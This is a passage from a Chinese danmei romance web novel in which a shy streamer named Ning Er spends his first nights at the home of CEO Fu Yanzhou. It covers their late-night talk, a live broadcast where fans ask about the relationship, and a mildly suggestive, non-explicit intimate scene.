其实本来两个人只是约了温泉作为第一次见面,由于宁尔的突然溺水,让没有衣服只能穿着睡袍来傅宴舟家借宿的事变得十分合理。 合理,但不自然。 宁尔拿着奶茶移动到沙发上慢慢吞吞喝了一会儿,等傅宴舟简单地收拾好餐厅之后又拿出手机装模作样玩,边玩边偷偷看他的动作。 等傅宴舟往这边儿走的时候宁尔赶忙一边玩手机,一边在沙发上晃荡jiojio。 装松弛感。 傅宴舟很自然地揉了揉宁尔的卷毛,随口问: “等会儿还要直播吗?” 直播? 除了傅宴舟消失的那几天,宁尔从来没有半夜两点多直播的习惯。 他朝着傅宴舟摇摇头: “我这个时间不直播的呀……” “哦。不直播。” “那就是要睡觉了?” “……” 宁尔看向傅宴舟,对方的眼神果然“不怀好意”。 宁尔自己把自己唯一的借口提前否定了,憋着红脸坐在沙发上看着傅宴舟。 傅宴舟笑了笑,伸手从沙发上拉起来宁尔,带他上楼。 宁尔不好意思地牵起傅宴舟的手。 他是和男人一起睡过觉的。 刚来人类世界最穷的时候,有时候前半夜抗完水泥,他和靳伟随意在工地找一块铺着蛇皮袋的地方,穿着衣服裹着一块破布累得到头就睡。 两人都浑身脏兮兮,睡在一起一夜无梦,醒来继续干活。 好像并没有任何奇异的情感或者别扭。 可此刻被傅宴舟拉着手穿行于狭窄暗灯的楼梯间,宁尔心里反倒奇异地敏感。 走上三楼卧室前,傅宴舟捏了捏宁尔的手: “是不是还是身体不舒服?” 宁尔奇怪地摇摇头: “没有,怎么了哥哥?” 傅宴舟眉头轻蹙: “你的手一直很凉。” 起初傅宴舟以为宁尔是因为溺水,可是过了这么久皮肤温度还是低于常人。 宁尔一惊,立马条件反射地把手从傅宴舟手里抽出来: “啊、没、可能是、可能是奶茶太冰了。” 傅宴舟想再摸摸宁尔的额头,宁尔心虚地害怕他接触自己身体其他部位,下意识往后一躲,正好把卧室的门撞开。 恒温的卧室里铺着柔软的长毛地毯,房间里一张大床铺着酒红色的床单,落地窗前花架上摆着几束漂亮的红玫瑰为主调的鲜花,连未合上的窗帘都是色调相称的红。 好大一张床啊…… 屋子里萦绕着诱人安神的香味,柔软的枕头被子仿佛躺上去就能睡一个香甜的觉。 这、这是傅宴舟的卧室吗…… 宁尔靠在卧室的门上,脸又热了起来,看一眼房间,又看一眼傅宴舟。 “在看什么?”傅宴舟明知故问。 宁尔故作松弛: “没、没什么,原来这就是哥哥的房间呀?~” 傅宴舟愣了一下: “嗯,是。” 傅宴舟朝那张床扬了扬下巴: “那就是我的床。” 宁尔脸更热了一点,低下头嗡嗡: “哥哥,你……” 傅宴舟也低头,把耳朵凑到他嘴边: “怎么了?” “你家这么大,也只有一个卧室吗?~” 傅宴舟险些笑出声,尽力忍住,语气低沉严肃: “嗯,我从来都是一个人住。” 半夜两点多,该睡觉了,穿着睡衣,站在唯一的卧室前,一切都是那么顺理成章,宁尔的脸却越来越红,似乎是心理斗争了一会儿,还是小声说: “哥哥,我看楼下的沙发挺大的,要不我去楼下……” “第一次和别人一起睡觉,不习惯?” 宁尔想了想: “也不是第一次……” 傅宴舟轻轻握住宁尔的手腕: “还和别人睡过?” “嗯,睡过。” “怎么睡得?” “就几个人一起睡呀。” “几个?”傅宴舟手上的力道重了一点。 “三、三个吧……” “……”傅宴舟眸光深邃地看着宁尔。 “之前做保安的时候,我们有时候夜班会一起在宿舍睡觉。不过是上下铺,不像这样在一张床上。” “……” “笨蛋。” 傅宴舟手上的力道稍稍松了松,宁尔漂亮清丽的眉眼单纯认真,神态中除了些许紧张没有任何杂质。 少年清瘦的身影就这么站在卧室门口,任由第一次见面的恋人挑逗摆布。 傅宴舟目光落在他已经被亲得有点发肿的嘴唇上,睡袍松垮地露出一片洁白的胸膛,卧室内薰衣草精油熏香袭来,刚才那种近乎失控的欲望再度涌上大脑。 傅宴舟反手把灯关掉,将额头抵在宁尔的脑门上,黑暗中两人呼吸立马又焦灼在一起,宁尔浑身瞬间紧绷起来,感受到傅宴舟粗重的呼吸,像是极力克制了一会儿,才声音艰涩道: “这间卧室是你的,我回自己的卧室睡。” “我怕控制不住自己。” 额头被再度轻吻了一下,傅宴舟才转身离开。 宁尔怔怔地站在原地,反应了一下傅宴舟的话。 又骗他。 但是,甜滋滋的。 宁尔嘴角漾出一个自顾自的笑,飞到那张柔软的床上滚来滚去,和之前在澜·峰酒店住得那张大床一样舒服。 他很自然地躺在了床上,甚至都忘记了要不要把床板掀开,看看能不能躲进去睡。 翻滚了一会儿,宁尔脑子里又开始克制不住地想舟先生。 那舟先生的卧室在哪里呢? 应该也在三层吧? 他就睡在自己的隔壁? 今天的一切从见到傅宴舟那一刻起都发生地好突然,甚至躺在傅宴舟家里的床上都有些不真实。 宁尔没有丝毫睡意,又翻出手机打开缘来开始刷。 整个缘小圈都在转一段十几秒的录屏视频。 宁尔点开一听:“大家好,我是傅宴舟,亲亲小耳朵的男朋友”,“他现在有点害羞……” 下面的评论都是清一色的“苏苏苏苏苏苏苏”、“磕疯了磕炸了磕旋转起飞了”、“大接特接”、“霸总文照进现实”。 还好还好,没有把他那些对话和亲亲的声音也录到。 宁尔又偷偷来到粉丝群里,凌晨三点消息还是不断,宁尔定睛一看: “感觉傅总很会亲的样子啊” “谁懂平时戴着金丝边眼镜不苟言笑的总裁竟然这么欲啊啊啊啊啊我真的不行了” “他俩的颜真的算势均力敌了。虽然还是咱耳宝更美。” “一想到两个人还眼罩py亲过就嗷嗷嗷嗷嗷叫” “一想到以后小情侣要干啥才嗷嗷嗷嗷嗷叫” “大do特do好吗!!!” 大do特do是什么意思? 宁尔复制下来去查了一下,查完立马红着脸退出粉丝群了。 明明她们以前磕cp时候不是这样的呀。 宁尔退出群之后又打来了聊天列表,看到置顶的“哥哥”,最后一条消息还停留在银耳粥发的“宝宝,路上堵车,可能晚点到”。 其实他早就先到了逗宁尔乐了。 宁尔心血来潮,打了两个字回过去: [骗子。] 舟先生竟然秒回了。 [怎么了宝宝?] 宁尔:[炸.弹/炸./弹/X50] 银耳粥:[晕/晕/晕/] 宁尔:[左哼哼/右哼哼/] 银耳粥为您赠送了玫瑰花x10000。! 宁尔表情一愣,看看屏幕上的特效,又看看窗边花架上那些精致的红玫瑰。 他跳下床,去认真地欣赏那些红色玫瑰,艳丽的花瓣上还带着未干的露水,玫瑰独有的芳香仿佛混合着冬日的清冷。 这个房间…… 舟先生到底为自己准备多久了? 宁尔忽然有一种很思念隔壁人的冲动,他直接走到房间门口,手掌放在门上时候又停住了。 大片的银色月光从落地窗里洒落,宁尔克制住冲动,背过身体,缓缓顺着门滑下,坐在了门后的地毯上。 宁尔拿着手机敲字: [哥哥睡觉,明天还要早起上班。] 银耳粥:[嗯。你不睡?] 宁尔:[也睡。] 银耳粥:[是不是睡不着?] 宁尔被傅宴舟猜中了心思,愣了一下,把膝盖抱紧一点: [嗯。] 刚刚回复完,忽然响起敲门声: “要不要聊会儿天?” 宁尔脸一红,下意识用后背抵了一下门。 他刚刚查那个“大do特do”时候不小心进了几个涩情网站。 直接弹出来的两个男人压在一起的露骨画面。 还有粉丝们说的那些话题,让宁尔已经大概知道接吻过后、躺在一张床上大概还会做什么了。 “……好。” 声音轻颤。 说完话,也没有开门的动作。 大概两秒过后,傅宴舟感觉到宁尔就在门边,轻声道: “不用开门,就这样聊。” 宁尔感觉到傅宴舟的声音从高处到低处,最后和自己齐平。 他好像也和宁尔一样,隔着门坐在了另一侧。 宁尔感受着门的轻颤,知道他喜欢的人此刻就在门口,刚刚的思念被填满,仿佛靠着的就是傅宴舟坚实的后背。 “哥哥,你是什么时候知道我就是小耳朵的?” 宁尔开始问他这半天困惑的问题。 “年度盛典那个晚上。” “我们的车先后从盛景出发。那一刻,我才意识到,这个每次欲言又止的小孩,竟然是我的小耳朵。” 傅宴舟的语气带着些笑意,仿佛仍在回忆那夜的不可思议。 宁尔心也跟着跳动起来: “所以,哥哥其实一直都打算去年度盛典看我?” “那为什么不告诉我呢?” “还有,你身体好了之后为什么也不见我呢?” 宁尔问出来之后,傅宴舟明显沉默了。 沉默了几秒,仿佛是自己觉得这个理由太过于荒谬,轻咳了一声: “脸上的伤还没好。” “你担心我觉得你不好看,所以一直不愿意见我?” 宁尔语气有些惊讶又委屈。 傅宴舟自嘲地笑了笑: “嗯。” “一边小心翼翼地害怕小耳朵发现嫌弃,一边用狰狞的伤疤吓唬宁尔。” “……” 宁尔也没憋住,轻笑了两声。 “哥哥,我觉得挺好的。” “什么?” “我见过你伤疤最严重的时候,见过你最没有防备伪装的样子。我觉得,比起在网络上,我更了解你一些。也很庆幸,能了解这样的傅宴舟。” 他的声音真诚、温柔、清澈,就如同每晚在语音房发自肺腑和观众聊天一样。 傅宴舟一时间听得有些入了神。 “那小耳朵,什么时候能让哥哥‘真正’了解呢?” 傅宴舟的声音温和沉稳。 真正两个字语气重了一些,宁尔一下子就懂了他说的真正了解是什么意思。 每天和他煲电话粥、直播分享日常、诉说打工经历,而真正的秘密却全藏在“傅宴舟”那里。 而现实却巧合地让他们是同一个人。 银圆月光洒落在红色玫瑰花上、地毯上、映照在宁尔白皙冰冷的身体上。 “哥哥,知道宁尔就是小耳朵之后,是什么感觉?” 宁尔听到门后的傅宴舟似乎松了口气,思衬了片刻: “宝宝,你知道澜?峰酒店名字的由来吗?” “是因为你的父亲,傅峰对吗?” 宁尔轻声问。 “嗯。是为了纪念他。很多年前,他在国外一场蹊跷的车祸中遇难。” “我反复看了当时的道路监控,车辆发生车祸时有路人经过。” “如果当时有一个人愿意停下来,愿意及时救助他一下,也许他就不会死。” 傅宴舟的声音很淡,那是一种已经独自成长消化过千万次父亲骤然离世的消磨。 “那天我一度认为自己也很危险了,鲜血淌进嘴里的一刹那,脑子里闪过的竟然是父亲车祸遇难时无人相救的画面。” “我想,可能这是我的命运。” “然后,你就出现了。像神明一样。” 傅宴舟仍然记得在那个血污四溅的夜晚,当那道很像小耳朵的声音响起时,傅宴舟一度感觉到自己仿佛看到了天光。 “我偏执了近乎十年的遗憾与恨,和生命一样被一同挽救了。” 这是宁尔第一次听舟先生说这么多话。 关于他的父亲,关于他那夜经历的命悬一线。 宁尔的声音有些轻轻的颤抖: “所以你很感激,不对,感恩那个救命恩人?但又因为他的奇怪要求摸不到头脑?” 宁尔替傅宴舟补充了说这段话的意思。 “嗯。” “我做好了足够的资产准备。” 宁尔注意到舟先生的用词,都不是“金钱”,而是“资产”。 “只是他却提出了只要进盛景的要求。并且总会故意巧合地出现在我面前。还用着和你十分相似的声音。” “我没有故意巧合偶遇你!” 宁尔立马睁大眼睛,转头朝向门为自己辩解。 “有的时候是走错,有的时候是上错车,反正就是没有故意。” “因为,你、你也知道我笨嘛……” 原来舟先生一直在以为他是故意接近他甚至勾引他的,难怪他会对宁尔那么疏离,让他那么害怕。 竟然被误会了这么久。 门后傅宴舟轻笑了两声,手机上给他发了一个“摸摸头”的表情包。 “我们偶遇的两次,我偶尔为你撑过的那几秒伞,允许你和我同乘一部电梯——” “是因为我看着你的背影,听着你的声音,想到如果我的小耳朵,应该也是这么大的少年。如果他去工作遇到困难,会不会有人对他动恻隐之心。” 宁尔听得有点迷糊,喃喃道: “所以……” “所以,我想告诉你,我喜欢你,和你有没有救过我没有关系。” “而当我知道,我的小耳朵就是救过我的人那一刻” 傅宴舟把身体靠在门上,仰头,在黑暗中重重地呼出一口气,在心脏背靠少年最近的地方,认真地听着自己的心跳。 “小耳朵,我的心告诉我——” “嘘,他来了。”—— 作者有话说: 傅总还不知道,那天除了小耳朵没人救得了你! 第60章 现在是第二天了 宁尔感觉自己的身体被什么东西从身后击中了。 穿过他的后背, 稳稳地落在他的心上。 从全身漫溢起来的一种温暖感抵消了他冰冷的体温。 圆月年年日日夜夜洒落银光在他身上,而此刻,第一次, 宁尔感觉到这月光的温度好像是暖的。 好像从这一刻起, 他和这个人类, 有些东西,是永远缠绕在一起的了。 宁尔的心里没有来由地怦怦狂跳起来, 脑子里一直浮现门后傅宴舟的模样, 声音有些轻颤: “哥哥, 傅宴舟的问题, 你、你不想再问了吗?” 傅宴舟身上, 到底有什么能让他回家的东西。 傅宴舟沉默了一下,声音很轻: “你不是, 已经选择我了吗?” “什么?” 宁尔下意识回头问。 “傅宴舟给你的时限是三天。” “最好的情况是三天之后你可以‘回家’,但你在回家之前选择了见我。” 傅宴舟说这件事时,声音中有种独属于他的游刃有余。 宁尔眨了眨眼,这才反应过来,原来不知不觉中, 他心里的天秤已经向舟先生倾斜了! 而且,还是舟先生只需要一句“三天之内”就得到答案的。 宁尔忍不住有些后怕,舟先生在已经知道他身份时还让他选,如果他没有选择见面,而是真的选择三天之后说出蓝宝石离开呢? 那对于舟先生来说, 他不就是一个彻头彻尾的大骗子了吗? 宁尔鼓起腮帮子, 轻轻皱着眉,对着门道: “那哥哥就不怕我没有选你吗?” 门骤然被拉开,宁尔险些向后摔在地上。 傅宴舟快他一步, 伸手把人拉起来,顺势从身后抱在怀里。 坚实的胸膛和腹肌隔着睡衣贴在宁尔身上,男人的呼吸混合着雪松味传来,弄得宁尔的耳朵痒痒的。 他浑身一激灵,身体控制不住地有些发软。 宁尔也不知道为什么,被傅宴舟亲了几次之后,和他再接触的时候,身体好像都会比他还先有些奇怪的反应。 呜呜呜呜呜。 他是不是对人类过敏呀。 “为什么一定要选择?” 傅宴舟的脑袋搭在宁尔的肩头,沉稳地声音传到他的耳朵里,宁尔浑身酥酥麻麻,耳根子一瞬间烫得厉害。 “我,和回家,从来都不需要二选一。” 宁尔猛地睁大眼睛,脱口而出: “你知道……” “国内国外,天涯海角,无论你的家在哪儿,我都可以替你找到。” “我都可以陪你回去。” 宁尔心里猛地一震,沉稳的声音,足够有说服力的身份,让傅宴舟的这个承诺厚重无比,厚重地让宁尔清澈纯稚的内心里仿佛盛满了什么。 而内心越满,反而越有一种难以控制的下坠感。 宁尔相信,以傅宴舟的能力,他足以去到帮世界上的人类找到家。 可惜自己偏偏不是人。 傅宴舟在宁尔的耳边吻了吻: “别想那么多了,等你愿意的时候告诉我。随时。”- 宁尔没办法在白天离开这里回家,他干脆找了个借口,说明天想睡个懒觉,晚点再离开。 傅宴舟说随意他住多久,早晨起床上班时也没有打扰他。 宁尔在遮光窗帘房间里一觉美美睡到下午,摸出手机给傅宴舟发消息: [哥哥早安呀~美滋滋/美滋滋/] [睡醒了?饿不饿?摸摸头/摸摸头/] 宁尔摸着肚子感受了一下: [好像有点饿了。] [餐厅里准备好了……下午饭,起来就去吃吧。] 宁尔已经很久很久没有过过这种醒来就有人做好饭的日子了,而且还是自己的“恋人”准备的,幸福地在床上打了个滚,回消息: [哥哥你今天在公司吗?晚点我们会在公司偶遇吗?] [偶遇?] [对呀,我也要去上班的呀。] 傅宴舟那边沉默了一下,打了几个字过来: [你被开除了。] 37度的体温的手指怎么能打出这么冰冷的话。 宁尔:[流泪/流泪/打滚/打滚/疑惑/疑惑?] 傅宴舟:[宁尔同志,对于公司的这个决定你是否有异议?] 宁尔:[异议!] 宁尔:[为什么要开除我,哥哥?] 傅宴舟:[你最初来盛景上班的目的是什么?] 宁尔:[……接近你……] 傅宴舟:[这个目的,你出现我卧室里比在公司快得多。] 宁尔脸羞得一红,咬着嘴唇不知道说什么,傅宴舟又发来消息: [我了解了一下,你在盛景这段时间做的工作没有实际业务以及个人成长。如果真想去从事其他行业,我们一起去选一选。如果缺乏基础,哥哥可以先找人专门教你。] 傅宴舟很耐心地打出这段话,宁尔脸羞得更红了。 他进盛景的公司本来就不纯,工作的这一个月更是摸了半个月鱼。 还是不为难自己了。 宁尔:[好叭。] 傅宴舟:[今晚下班陪哥哥看个电影怎么样?] 傅宴舟很自然地问出这句话,这是一个很小的请求,宁尔也没多想,很快打字答应了。 和傅宴舟聊完没多久,宁尔就收到了同事张哥的消息。 张哥:[小宁,你怎么忽然离职了?没出什么事吧?] 张哥是他在盛景唯一说过话,教他工作的同事,宁尔觉得应该认真和他告别,于是打字: [张哥,我没事的。我想了一下这段时间的工作可能还是不太适合我,所以辞职专心去做别的啦。] [你放心,我已经找到自己喜欢的事情啦。] 宁尔听得出来,之前他每次摸鱼痛苦的时候,张哥都旁敲侧击过告诉他,如果有机会,还是应该去做一些自己喜欢的职业。 张哥:[大笑/大笑/那就好那就好,没事就好。离职了咱也朋友,以后有空一起出来聚聚。] 张哥:[对了,还有一个好消息可以分享给你。] 宁尔:[什么什么?期待/期待/] 张哥:[今天主管忽然通知我,公司要给我升职加薪了!我打听了一下,好像还是肖特助那边亲自通知的!真不知道肖特助怎么知道我的。] 张哥:[我本来还担心我走了没人带你照顾你,现在刚好了。] 宁尔看着“升职加薪”四个字,还发生在这个时间,不用多想都知道是谁做的。 舟先生,还真的是好细心啊。 宁尔:[恭喜/恭喜/撒花/撒花/真的太棒啦!张哥你值得的!以后一定会更好!~~] 能一直那么耐心教导他这个菜鸟,还有能力很快交会他,宁尔从第一天起就觉得张哥是个好人。 现在,好人也有自己的好事啦。 关掉微信打开缘来,整个缘小圈和粉丝群还是维持在他和傅宴舟的话题上,热度只增不减。 也是从缘小圈里宁尔才知道,昨天傅宴舟和他的事甚至出圈上了热搜,到现在的共同话题还是两个人的照片。 甚至还有了“同人文”。 宁尔先是查了什么叫做“同人文”,又把“文”看了一遍。 看着自己的名字和傅宴舟的名字在文字里发生了那些事,甜蜜约会、霸气护妻、直播偷亲、夜晚做…… 宁尔红着脸把文关了。 有没有人来管管呢。 让宁尔更头疼害羞的是今晚的直播。 直播时候,可是要真的回答这些问题的。 春风哥更是不叮嘱他了,只是一味地称呼他为“总裁夫人”。 [请问总裁夫人今晚播吗?我和语音房所有主播都期待您。] 宁尔为了等傅宴舟回来看电影暂时不能走,傅宴舟告诉他书房在二楼,让他如果到时间了直接去播就可以。 宁尔小心翼翼来到二楼寻找,找到傅宴舟说的屋子之后小心翼翼推开门,推开门的一刻他直接待在了原地。 这个房间与其说是“书房”,更不如说是“录音房”或者“直播间”。 整个房间都是专业的隔音墙,配套了高级的电脑、麦克风、音响等直播设备。 和他之前借用的那个录音工作室几乎没有区别。 甚至看起来更高级。 同样,房间里也有漂亮的红色玫瑰花。 舟、舟先生家里,连这样的房间也会有吗? 宁尔过去摆弄好设备,已经快9点了,傅宴舟还没有回来,只能先直播再看电影了。 8点50,宁尔刚刚弄好准备进播,房间门口忽然响起了敲门声。 “请进。” 房间门被拉开,傅宴舟出现在门口。 他像是刚回来,衣服没来得及换,只是摘了领带,衬衫的扣子解开了两颗。 宁尔睁大眼睛摘下耳机,站起来走向他。舟先生身上有很重的寒意,宁尔看着他,下一秒,就被人自然地拥进了怀里。 宁尔顺势紧紧回抱住舟先生,想用他虽然并不温暖的毛茸茸睡衣温暖他。 “外面很冷吧?” “嗯。” “上班辛苦啦哥哥~” 宁尔边说边用毛茸茸的脑袋蹭了蹭傅宴舟。 这样的对话他们在网络上进行过好多遍,发生在现实里,真的能抱着对方说的感觉,让宁尔觉得又心跳又兴奋。 傅宴舟轻轻抚了抚他的后背: “有你在,不辛苦。” 宁尔松开傅宴舟,指了指电脑桌: “哥哥,我先直播一下,下播了陪你看电影哈~” “好。”傅宴舟很爽快地同意。 同意后却没有要离开的意思。 宁尔很故意地咳嗽了一声。 傅宴舟好像还是没听到。 马上就要开播了,宁尔实在忍不住: “哥哥?” 傅宴舟挑眉看他。 “我要开播了。” 傅宴舟耸了耸肩: “需要我帮忙做什么吗?” “你、你要不要先出去?”宁尔红着脸。 傅宴舟仿佛这才意识到,环顾了一下四周,走到宁尔的桌子旁: “不出去。” “……” 傅宴舟直接坐在了宁尔的“同桌”,从里面拿出平板耳机: “我还需要办公。放心,我不会出声。” “你好啊,同桌。” 宁尔瞪大眼睛,傅宴舟平时看他直播就算了,竟然还要坐在旁边听。 这、这也太不好意思了…… 宁尔还想劝他一下,傅宴舟已经戴好了耳机,9点直播提示音也一直在响,宁尔只得硬着头皮先进了语音房。 “哈喽大家好,我是亲亲小耳朵~关注我,欢乐多多~” 评论区立马有人听出他声音不对劲,问他声音怎么好像很紧张,是不是有人在他身边。 宁尔本来想诚实回答,但看到满屏飘着的[大do特do了没?],看了一眼傅宴舟的侧脸,撒谎: [没、没有,只有我一个人吖~] 傅宴舟不动声色转头看了宁尔一眼。 宁尔脸更红了,轻咳一声: [我们来连麦互动叭~] 不知道是不是大家太好奇他,还是其他人说好的,这个房里压根没有找其他人互动的,全是排着队找宁尔聊天。 宁尔只得找了个眼熟的ID开始互动。 眼熟,但并不手下留情。 “我们叫傅宴舟粥老板可以吗?” 宁尔转头看了一眼傅宴舟,傅宴舟很自然地点了点头。 “可以哒宝们。” 宁尔回答完之后才意识到哪里不对,立刻深长脖子去看傅宴舟的平板,他的工作内容已经缩小成了一个小小的画面,大画面上都是宁尔的直播。 “……” “昨天见面还顺利吗?” 宁尔:“顺利的。” “泡温泉怎么样?哎呀小耳朵你就一口气说了吧。我们一个一个问好累的。” 不提泡温泉还好,一提温泉宁尔直接开麦吐苦水。 他先和粉丝宝们说那个上衣在水里几乎是透明的,又讲了自己腿抽筋溺水,是舟先生及时跳进去救了他的事。 粉丝们听了之后果然都十分担心,还有很后悔给他出这个主意的。 宁尔赶紧道,他只是提醒大家,哪怕是泡温泉也要小心,不要做危险行为,看到粉丝们开始为他担心之后立马有些愧疚,赶紧反过来安慰她们自己已经完全没事了。 “别担心宝们,没事了,真的没事了。” “这样啊……那……” 宁尔听到粉丝欲言又止的小心样子,心里一阵难过,赶紧道: “宝,你有话直接问就好。无论什么时候,我都是你们喜欢的那个小耳朵。” “那你会说实话吗?” “当、当然。我很少说谎的。” “那、那我就问了哈?” “嗯嗯,你问!” “你昨晚后来去哪里了?” “……” [哈哈哈哈哈哈哈哈哈] [哈哈哈哈哈哈哈] [把我们耳宝当立本人整了] [你把粉丝装兜里,粉丝把你踹沟里] [笨宝宝,泡过温泉肯定衣服都湿啦,换完衣服肯定很晚啦,溺水肯定受惊啦,舟哥肯定不舍得把没衣服的你扔回家啦~~] 人类的智商。 高得好恐怖啊。 宁尔脸憋得通红,他刚刚才答应过不会说谎…… 宁尔下意识求助地看向傅宴舟,他摘掉耳机,调出平板的记事本,写了两个字: 家。 我家? 小耳朵家? 这不是又说谎了吗? 宁尔用口型硕他不想说谎,傅宴舟嘴角微微上扬,用认真的眼神看着他,轻轻摇摇头。 好像在说,他没有说谎。 傅宴舟的每一个眼神和动作都太有分量了,宁尔鬼使神差地对着麦道: “家。” “谁家?” “就是,家。” [嗷嗷嗷嗷嗷嗷] [“家”] [都是家了,还分什么你的我的?] [甜鼠了甜鼠了] [我本来是纯黄的怎么变成纯爱了] “还有还有,你们应该接过吻了吧?不是那种只碰一下嘴唇的接吻。” “……嗯。” “接吻的感觉是什么样的!” 宁尔发现了,这个粉丝不仅仅是粉丝。 还是一个粉丝代表。 她好像有一个问题提纲,代表大家来采访小耳朵。 宁尔又看了一眼傅宴舟,哪怕他就在旁边听,也不得不回答道: “接吻的感觉……像溺水。又不完全像。像溺水一样刺激,但在痛苦之前会被松开,换气,代替窒息的,是一种温柔。让人浑身麻酥酥的温柔……你们接吻是这种感觉吗?” [傻瓜!填满你的不是温柔,是爱啊!!] [是温柔的爱啊!!!] [好像已经看到舟哥的接吻方式了] [今晚就出个同人文] [这样伟大的两张脸吻在一起我都不敢想象是什么样的] “咳咳,那你们还……” “没有了!” 宁尔十分生硬刻意地打断观众,生怕她们再问别的: “我们只接了三次吻,别的再没有做过了,你们千万不要再问了~” [三次!!!] [见面第一天激吻三次] [有时候真不知道咱耳宝到底保守吗] [傅总还是保守了。小耳朵这等萌物竟然忍得住只亲三次。] [是啊是啊,而且只接吻而已。] [不理解啊不理解!这就是霸总的自律吗?] [感觉也能理解吧,傅总可是这么多年没有任何绯闻的高冷男神] [其实这样好像也挺甜的……] [不行!不允许!就是不行!!不行!!] [可以对别人不感兴趣,对小耳朵就是不行!!] 宁尔看到有些狂热粉丝因为傅宴舟没做什么而不满,赶紧一阵猛咳嗽转移了话题。 下一个随机滚动连麦粉丝,说好了不可以再问这些话题。 很快连到了一个粉丝,她开口就问: “耳宝,知道‘粥老板’是傅宴舟是什么感觉呢?” 距离他知道舟先生就是傅宴舟已经24小时整了,粉丝们并不知道他和傅宴舟之前的交集,单纯好奇自家的主播知道金主是大大大大老板的感觉。 “是一种……很幸运的感觉。” 宁尔说完朝傅宴舟扭头眨了眨眼。 只有他们彼此知道,这个“幸运”是什么意思。 “还有呢?” “还有,感谢、开心。” “还有呢?”粉丝继续追问。 宁尔挠挠头: “还、还应该有什么吗?” 粉丝在那边松了口气: "没有就好。耳宝,我想代表所有粉丝对你说,虽然傅总十分十分十分厉害,他能刷的钱可能比我们所有人加起来都多,但你们在恋爱中一定要平等,你一定不要因为身份害怕或者讨好他。无论恋爱怎么样,我们永远是你坚实的后盾。耳宝永远不比任何人差。" 宁尔愣了一下,认真听完这番粉丝的心声。 原来,她们是在怕自己受欺负。 榜一金主欺骗主播感情的事不在少数,更何况是身份差距这么悬殊的两个人。 她们是在怕宁尔在知道舟先生的身份之后,开始变得小心翼翼,甚至刻意讨好。 宁尔抬眼的一瞬间,屏幕上出现了一阵长久的玫瑰花特效。 需要很多很多礼物才能组成的特效。 所有的玫瑰花组成了一个大大的爱心,持续了好几秒。 只不过,这个特效是粉色的。 [红色玫瑰花留给你们的爱情。粉丝玫瑰是我们对你的爱。] [要一直快乐幸福下去,就像你祝福我们那样,亲亲小耳朵。——你的粉丝们] 鼻子一瞬间狠狠发酸,眼眶又不受控地湿润起来,宁尔紧紧地咬住嘴唇,平复了好几秒心情才缓缓道: “谢谢宝们,我答应你们,一定会好好生活,幸福下去。” “你们也不用太担心舟先生……其实早在认识他之前,我就在网上了解过他了、” 宁尔偷看了傅宴舟一眼,但此刻也顾不上他了,脑子里都是和粉丝的解释,宁尔娓娓道来: “我看过他所有的采访,了解过他的人生经历,学习过他的商业领域,哪怕只是很浅薄地了解他,在我心里,他也是一个……我心目中很完美、很厉害的人。” “而现在,这个完美的人,竟然可以在我身边了。” 宁尔不好意思地说完这些话,傅宴舟并没有什么反应。 宁尔松了一口气,又和粉丝聊了一会儿,最后傅宴舟可能终于坐不住,提前出去了。 12点,宁尔准时下播,看到傅宴舟不在三楼,于是自己先去洗了个澡。 等到宁尔把头发吹个半干出来,刚好遇到傅宴舟也刚洗完澡,浑身只穿着一条黑色丝绸睡袍。 和宁尔的白色毛茸茸睡袍形成鲜明对比。 卧室的灯光依旧暖黄暧昧,两人站在宁尔的房间门口,依旧像昨天一样有些尴尬。 “哥哥,现在要不要看电影?是不是有点太晚了?” 宁尔想到舟先生这两天跟着他熬夜,还得早起上班,有些心疼他的身体。 “可以,你想看吗?” “我、我都可以啊。我听哥哥的。你想看我们就一起看。” 宁尔说完下意识打了个哈欠,打了一半儿赶紧捂住嘴巴假装不困。 傅宴舟把他的动作看在眼里,笑了笑: “我现在不是很想看电影了。” “你是不是累了?那我们明天早点看好了。哥哥上了一天班,还是早点休息吧~” 傅宴舟点点头: “嗯,是想休息了。” 下一秒,宁尔直接被傅宴舟拽过来抱在怀里,卧室灯在他的控制下瞬间熄灭。 昏暗的房间里只有两个人贴在一起的心跳,宁尔一惊,就听傅宴舟在他耳边道: “宝宝,粉丝们对哥哥只亲了你三次好像很不满意。” 傅宴舟蛊惑的声音从耳边传来,宁尔瞬间脑子发麻。 “没、没有的哥哥,她们开、开玩笑的。” “她们还说我竟然能忍住不对你做别的,是不够喜欢。你也这样想吗,宝宝?” 粉丝行为,正主买单。 呜呜。 “没有的哥哥,我没有这么想。你昨天不是说过吗?才第一天见面,绝对不会对我做什么的。” “嗯” 傅宴舟喉头滚了滚。 紧接着,他按亮手机把时间举在宁尔面前一晃: “现在是第二天了。”—— 作者有话说: 宁尔:人心太凉我不敢碰。 60-70 第61章 我看到你喝血了。…… 与傅宴舟话音同时落下的是他的手机。 软闷闷的一声“咚”, 手机不知道被他扔到了哪里,宁尔整个人却被傅宴舟用身体压倒在了床上。 落地窗外月色的微光照进来,傅宴舟炽热的吻落在宁尔唇瓣上。 宁尔牙关被傅宴舟用舌头撬开, 口腔里的软.肉被傅宴舟肆意.侵略, 酥麻的触感从舌尖传遍全身。 宁尔重重地“唔”了一声, 想推开他,下一秒却感觉一只手伸进了自己的浴袍。 宁尔失声, 低低地叫了出声。 他的身体猛地蜷缩起来, 皮肤不受控地发烫, 浑身颤抖着, 纤长的睫毛在光影下不断抖动。 “宝宝。” 傅宴舟蛊惑的声音在耳边沙哑地响起: “你既然了解了那么多关于傅宴舟的事” “那你知不知道, 我的性.欲很重?” ……- 宁尔是被傅宴舟的动静吵醒的。 但他仍旧闭着眼睛不敢动。 宁尔回想起来昨夜傅宴舟近乎失控的欲望,他亲吻宁尔, 又趁着宁尔浑身无力的时候进一步动作。 他们的皮肤温差很大,彼此的触觉都会无限放大。 还在宁尔每一次浑身颤抖时候说“如果你不喜欢,哥哥就停下来”。 但直到他眼里有泪时候,傅宴舟还是故意坏坏地问“小耳朵很喜欢,不是吗?” 宁尔不知道每一步的下一步是什么, 但傅宴舟好像也没有想到最后一步。 他说,他想帮宁尔。 宁尔拼命摇头,死死拉着衣服,说什么也不让他“帮”。 最终,是宁尔被傅宴舟用手抓着, 手把手教着他“帮”了傅宴舟。 想到最后关头傅宴舟的低呵, 宁尔只觉得手和脸烫得抬不起头。 “今天打算装睡到几点,宝宝?” 傅宴舟早就从宁尔皱着眉的表情发现他醒了。 宁尔脸一红,转过身往被子里藏脑袋。 傅宴舟轻笑了一声, 在他耳际吻了吻: “我可以打开窗帘吗?” 落地窗的光会很刺眼,光照会非常强烈,宁尔赶紧疯狂摇动脑袋。 “开灯呢?” 宁尔又疯狂摇动脑袋。 